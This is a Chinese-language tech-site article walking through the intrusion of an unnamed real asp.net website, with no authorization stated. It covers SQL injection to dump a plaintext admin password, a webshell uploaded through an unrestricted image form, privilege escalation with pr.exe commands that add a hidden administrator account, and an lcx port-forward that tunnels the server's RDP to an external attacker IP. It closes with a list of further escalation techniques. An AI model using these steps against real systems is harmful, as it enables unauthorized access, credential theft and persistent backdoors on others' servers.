例項:Public許可權滲透某asp.net網站
http://netsecurity.51cto.com/art/201104/254307.htm
【51CTO.com 獨家特稿】本文知識要點:
(1)使用Google搜尋管理後臺真實地址
(2)LCX埠轉發程式突破內網限制
(3)Asp.net類網站的滲透思路
對於資料庫使用者許可權為Public的網站滲透相對較難,設定為這種許可權,多數具有較高的安全意識,在通過SQL注入點獲取是Public許可權時,需要多方分析,嘗試各種方法進行滲透測試,但不管如何,存在SQL注入點就是一種突破,通過SQL注入能夠獲取網站資料庫的一些資訊,通過這些資訊再次進行滲透和提權就相對會容易一些。尤其是在獲得網站後臺管理員許可權的情況下,通過檔案包含、資料庫備份、圖片上傳、檔案上傳、插入一句話等來獲取Webshell。下面就以一個實際案例來分析如何利用Public許可權滲透某asp.net網站。
1.尋找SQL注入點
通過檢視網站的各個頁面,尋找有引數傳入的頁面,在有引數的頁面中進行出錯判斷,如圖1所示,在傳出引數typeid=1後面附加"'"使其自動爆出錯誤,通過該錯誤資訊可以知道資料庫為MSSQL。
圖1 獲取SQL注入點
2.使用各種SQL注入工具進行資訊收集和資料猜測
對於Asp.net型別網站除了一些大型商業專用滲透工具外,還有一些免費的工具,例如Pangolin、Havij、Domain3.5、HDSI2.5以及啊D等SQL注入工具。在本次滲透過程中先後使用了Pangolin、Havij,如圖2所示,使用Havij1.2免費版本測試效果並不好,未能獲取更多的資訊。
圖2 使用Havij進行SQL注入滲透測試
技巧:
(1)在發現SQL注入點後一般先使用一些自動測試工具進行測試,在測試時可以依次使用多個工具進行測試,雖然這些SQL注入工具功能大致相同,但在某些場景下,使用有些工具能夠成功,然而使用某些工具就不一定成功。
(2)先工具後手工,事後進行總結加深對滲透到理解,並將有用的技巧收集整理。
3.使用Domain3.5檢測到目標網站存在SQL注入點
開啟Domain3.5 SQL注入工具,單擊"SQL注入"-"SQL注入猜解檢測",將剛才測試所出錯前的正常頁面地址複製到"注入點"中,然後單擊"開始檢測",如果該注入點能夠進行SQL注入,則會在檢測資訊中顯示詳細資訊,如圖3所示,獲取該資料庫是MSSQL,當前資料庫以及當前許可權等資訊。
圖3 檢測SQL注入點
4.猜解資料庫中的表和表中的資料
這一步是SQL注入檢測中最重要的一步,如果能夠成功,就意味中可以檢視和修改資料庫中的資料,單擊"猜解表名"猜解資料庫中一共有多少表,在本例中一共有33個表,然後檢視資料庫表名稱來判斷哪個表是儲存有管理員使用者名稱和密碼的,確定並選中,然後單擊"猜解列名"來獲取表中的具體列名,然後選擇需要檢視內容的列名,最後單擊"猜解內容"來獲取其相應資訊,如圖4所示,獲取了管理員的密碼,而且管理員的密碼是明文的未加密!
圖4 獲取資料內容
5.掃描和獲取後臺地址
在Domain3.5中單擊"管理入口掃描"來獲取管理入口的具體地址,在本例中通過Domain3.5未能獲取管理後臺地址,這時候就需要動用其他方法,一個比較好的方法就是利用搜索引擎,使用"site:somesite.com 登入"或者"site:somesite.com 系統管理"等來搜尋後臺地址,如圖5所示,獲取了後臺的詳細地址。
圖5 獲取後臺登陸地址
6.登入測試和驗證
直接開啟從搜尋引擎中獲取的後臺地址,如果能夠正常訪問說明該頁面可能是真正的後臺地址,如圖6所示,該頁面能夠正常訪問,且通過頁面資訊可以判定該地址就是管理後臺地址,輸入剛才獲取的使用者名稱和密碼進行測試, 登入成功,如圖7所示。
圖6 後臺地址測試和驗證
圖7 後臺登入成功
7.尋找、測試和獲取Webshell
(1)獲得圖片上傳頁面
當使用SQL注入工具或者手工注入獲得管理員的使用者名稱和密碼成功登入系統後,需要檢視系統資訊釋出等模組,檢視是否存在檔案上傳部分,如果沒有,則嘗試插入一句話進行後臺備份等操作。在本次滲透過程中通過檢視後臺的各個功能模組,發現有四個資訊新增模組,在新建會員模組中存在上傳圖片模組,單擊連結進入新建會員模組,如圖8所示,在圖片中直接選擇一個asp.net的Webshell,然後上傳。上傳結果顯示成功,如圖9所示。
圖8 獲得檔案上傳模組
圖9 檔案上傳成功
(2)檢視檔案上傳的真實地址
雖然頁面顯示檔案上傳成功,但還需要找到檔案上傳的真正地址,核對上傳的檔案是否更改了字尾,新建會員後,需要從前臺來檢視剛才新增到效果,如圖10所示,找到會員列表,然後尋找最後新增到記錄。
圖10 通過前臺檢視上傳圖片
對於網站CMS系統處理新新增記錄有兩種結果,一種是按照最新時間排序,另外一種是降序,因此在翻看記錄時,需要分析資料新增的規律,在本例中就是按照時間升序排序,即最早新增的最先顯示,因此需要跳轉到頁碼最大處才能看到剛才新增的記錄,如圖11所示,右鍵選中圖片,檢視圖片屬性,從而獲取該圖片的真實地址,上傳模組未對上傳檔案字尾等進行限制,上傳檔案一律按照時間(年月日分秒)+原真實上傳檔名稱進行命名。
圖11 獲取圖片的真實地址
(3)獲取Webshell
在IE瀏覽器中開啟上傳Webshell的真實地址,如圖12所示,輸入Webshell的密碼後,出現熟悉的Asp.net Webshell介面。
圖12 成功獲得該網站的Webshell
8.嘗試提權
通過Webshell檢視該伺服器安裝程式和網站檔案等,然後利用掌握的資訊進行提權,在本次滲透過程中發現該伺服器為內網伺服器,通過防火牆對映到外網,對外僅僅開放了80埠,在網路地址中未配置DNS,系統中無可提權的其他可用資訊。因此首先嚐試使用pr進行提權。如圖13所示,先將pr程式上傳到回收站中,然後分別執行"E:\RECYCLER\pr.exe ", 引數"net user temp temp2005 /add",引數"net localgroup administrator temp /add"。執行結果顯示"命令成功完成",表示pr提權成功。
圖13使用pr提權
9.登入遠端桌面
(1)檢視新增到使用者
在Webshell中通過CMDShell檢視剛才新增的使用者是否成功,如圖14所示,可以看到系統已經添加了一個temp的管理員使用者。
圖14 檢視新增到使用者
(2)使用lcx進行埠轉發
在具有獨立IP的計算機上執行"lcx -listen 51 2008",意思是監聽51埠,並將51埠對映到本機的2008埠。
圖15 使用lcx進行埠監聽
在Webshell中執行"E:\RECYCLER\lcx.exe",引數設定為"-slave 202.XXX.XXX.XXX 51 172.30.11.81 3389",意思是連線IP地址202.XXX.XXX.XXX的51埠,將伺服器內網地址為172.30.11.81的3389埠轉發到202.XXX.XXX.XXX的51埠上。
圖16使用lcx進行埠轉發
(3)連線遠端桌面
在監聽51埠的計算機中開啟遠端終端登入介面,然後輸入"127.0.0.1:2008"進行登入,輸入剛才新增到temp使用者和密碼,如圖17所示,成功登入系統,從而獲得伺服器許可權,成功滲透該伺服器。
圖17成功進入系統
小結
1.對於Asp.net的滲透思路
(1)掃描目標網站,獲取SQL注入點或者其它漏洞。掃描目標網站可以使用一些商業掃描軟體,例如wvs,appscan,webinspect,jsky,極光等。通過掃描獲取網站程式漏洞和配置漏洞。在掃描結果中有關單獨的上傳頁面、上傳元件(各種WebEditor)、網站壓縮檔案、bak備份檔案的利用是重點。
(2)利用掃描結果資訊進行滲透測試。
(3)獲取Webshell。獲取Webshell較多的方法是通過上傳,以及各類Web編輯器的漏洞,還有某一類程式的漏洞,當然這些漏洞的利用需要一些輔助條件。某些網站在被入侵後,入侵者會將整個網站進行打包,下載完畢後未刪除,如果能夠成功將其下載,對於分析漏洞和獲取Webshell很有幫助。
(4)對伺服器進行提權。對伺服器提權主要是看伺服器上安裝有哪些程式,然後採取相對應的提權方法,例如讀取VNC密碼,讀取Radmin密碼,下載Pcanywhere密碼儲存檔案,利用Serv-u直接新增使用者,利用系統未安裝補丁程式進行本地提權,編寫autorun.inf病毒,匯出指令碼到啟動新增使用者,MSSQL SA許可權直接新增系統使用者,Mysql udf函式提權等。
2.在擁有Webshell情況下,利用LCX埠轉發實現內網突破效果還是不錯的。
3.在使用SQL注入工具掃描不出後臺的情況下,可以嘗試通過Google搜尋來獲取後臺真實地址。
【51CTO.com獨家特稿,非經授權謝絕轉載!合作媒體轉載請註明原文出處及出處!】